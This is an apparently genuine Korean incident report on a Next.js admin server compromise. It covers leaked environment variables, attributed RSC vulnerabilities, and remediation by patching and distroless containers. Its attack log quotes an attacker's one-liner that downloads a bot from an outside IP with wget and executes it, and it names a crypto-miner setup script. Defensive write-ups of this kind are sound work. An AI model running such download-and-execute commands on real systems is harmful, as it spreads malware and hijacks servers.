본문으로 건너뛰기

[이슈] Next.js 해킹

[이슈] Next.js 해킹

[이슈] Next.js 해킹

1. 사건 개요

2025년 12월 8일, Admin 웹 사이트 접속 시 503 에러가 발생했고, 이는 비정상적인 NEXT_REDIRECT 에러 메시지와 함께 서버의 환경변수가 평문으로 유출되는 심각한 상황이 포착되었습니다. 이와 동시에 외부 IP로부터 악성 스크립트 다운로드 및 실행 시도(RCE)가 다수 발생했습니다.

2. 로그 분석 및 공격 양상

2.1 환경변수 유출 (Information Leakage)

Next.js 애플리케이션의 특정 에러 상황에서 digest 필드를 통해 서버 프로세스의 환경변수 전체가 덤프되는 현상이 발생했습니다.

[로그 발췌]

JAVASCRIPT
2025-12-07T09:43:20.102398141Z  ⨯ [Error: NEXT_REDIRECT] {
2025-12-07T09:43:20.102432946Z    digest: 'NODE_VERSION=18.20.8\n' +
2025-12-07T09:43:20.102461756Z      'NEXT_PUBLIC_POINT_SERVICE_API_URL=https://api.서비스.com\n' +
2025-12-07T09:43:20.102472020Z      'NEXT_PUBLIC_SERVICE_API_TOKEN=eyJhbGciOiJIUzI1NiIsIn...\n' + // 민감 정보 유출
2025-12-07T09:43:20.102547875Z      'NODE_ENV=production'
2025-12-07T09:43:20.102550178Z }

이로 인해 AWS_ACCESS_KEY, Service API Token, 데이터베이스 정보 등 민감한 시스템 환경변수가 노출되었습니다.

2.2 원격 코드 실행 및 봇넷 감염 시도

유출된 정보 혹은 취약점을 이용해 공격자는 쉘 커맨드 인젝션을 시도했습니다. 주요 공격 패턴은 다음과 같습니다.

  1. 크립토마이닝 스크립트 다운로드 시도: setup_c3pool_miner.sh 실행 시도.
  2. 악성 봇 다운로드 및 실행: wget 또는 curl을 이용해 외부 서버(176.117.xxx.xxx)에서 bot 파일을 다운로드하고 실행 권한(chmod 777)을 부여한 뒤 실행 시도.

[공격 로그 예시]

BASH
Command failed: cd /tmp; wget http://176.117.xxx.xxx/bot; chmod 777 bot; ./bot || ...

로그를 보면 초기에는 wget: Operation timed out 등으로 실패하다가, 특정 시점(13:03:57)에는 다운로드에 성공('bot' saved)한 흔적이 발견되어 위험천만한 상황이었습니다.

3. 원인 분석

  1. React Server Components (RSC) 힙 오버플로우 취약점 (CVE-2025-55182, CVE-2025-66478):

    • 보안 메일에서 언급된 RSC 공격은 Next.js의 Server ActionsRSC(React Server Components) 처리 로직의 취약점을 악용한 것입니다.
    • 공격자는 특수하게 조작된 패킷을 보내 서버의 Flight 프로토콜 처리 과정에서 힙 오버플로우(Heap Overflow) 또는 메모리 커럽션을 유발하거나, 의도치 않은 코드 실행 경로를 트리거할 수 있었습니다.
  2. 환경변수 유출 메커니즘:

    • 일반적인 에러가 아닌, 공격자가 유발한 NEXT_REDIRECT 내의 digest 필드 변조를 통해 서버 메모리나 환경변수(process.env) 객체를 에러 응답에 포함시키도록 유도했습니다.
    • 이는 단순한 정보 노출 버그가 아니라, **RCE(Remote Code Execution)**가 가능한 상황에서 공격자가 시스템 정보를 덤프한 결과입니다.
  3. 컨테이너 보안 설정 미흡 (Node.js Alpine 이미지의 한계):

    • 사용 중인 node:18-alpine 이미지는 경량화된 버전임에도 불구하고, wget(BusyBox 포함)과 같은 다운로드 도구가 기본적으로 포함되어 있습니다.
    • 로그 분석 결과 curl은 존재하지 않아 실행에 실패했으나, 공격자는 **wget**을 사용하여 악성 봇 다운로드를 시도할 수 있었습니다. 이는 최소한의 도구만 남기는 Distroless 도입의 필요성을 시사합니다.

4. 대응 방안

4.1 단기 조치: Next.js 버전 업데이트 (Hotfix)

  • 해당 취약점(CVE-2025-66478)이 해결된 최신 안정 버전(예: 15.0.5, 15.1.9, 16.0.7 등)으로 Next.js를 즉시 업데이트했습니다.
  • 모든 서버 컴포넌트 사용 프레임워크에 영향을 미치는 React 취약점(CVE-2025-55182)에 대응하기 위해 관련 의존성도 함께 점검했습니다.

4.2 후속 조치: Docker Distroless 이미지 도입 (Hardening)

  • 근본적인 공격 표면(Attack Surface)을 줄이기 위해, 컨테이너 베이스 이미지를 Distroless로 교체하기로 결정했습니다.
  • Distroless 이미지란?: 쉘(/bin/sh), 패키지 매니저, 기타 유틸리티(curl, wget 등)가 제거된 경량 이미지입니다.
  • 효과: 공격자가 애플리케이션의 취약점을 통해 RCE(원격 코드 실행)를 시도하더라도, 쉘이나 다운로드 도구가 없으므로 악성 행위를 수행하기 매우 어려워집니다.

5. 결론 및 교훈

이번 사건은 프레임워크의 보안 패치 유지보수의 중요성을 다시금 일깨워 주었습니다. 또한, 애플리케이션 레벨의 방어뿐만 아니라 인프라 레벨(컨테이너)에서의 "Defense in Depth(심층 방어)" 전략이 실제 공격 피해를 최소화하는 데 핵심적인 역할을 한다는 점을 확인할 수 있었습니다. 앞으로는 정기적인 보안 점검과 최소 권한 원칙에 기반한 인프라 구성을 더욱 강화할 예정입니다.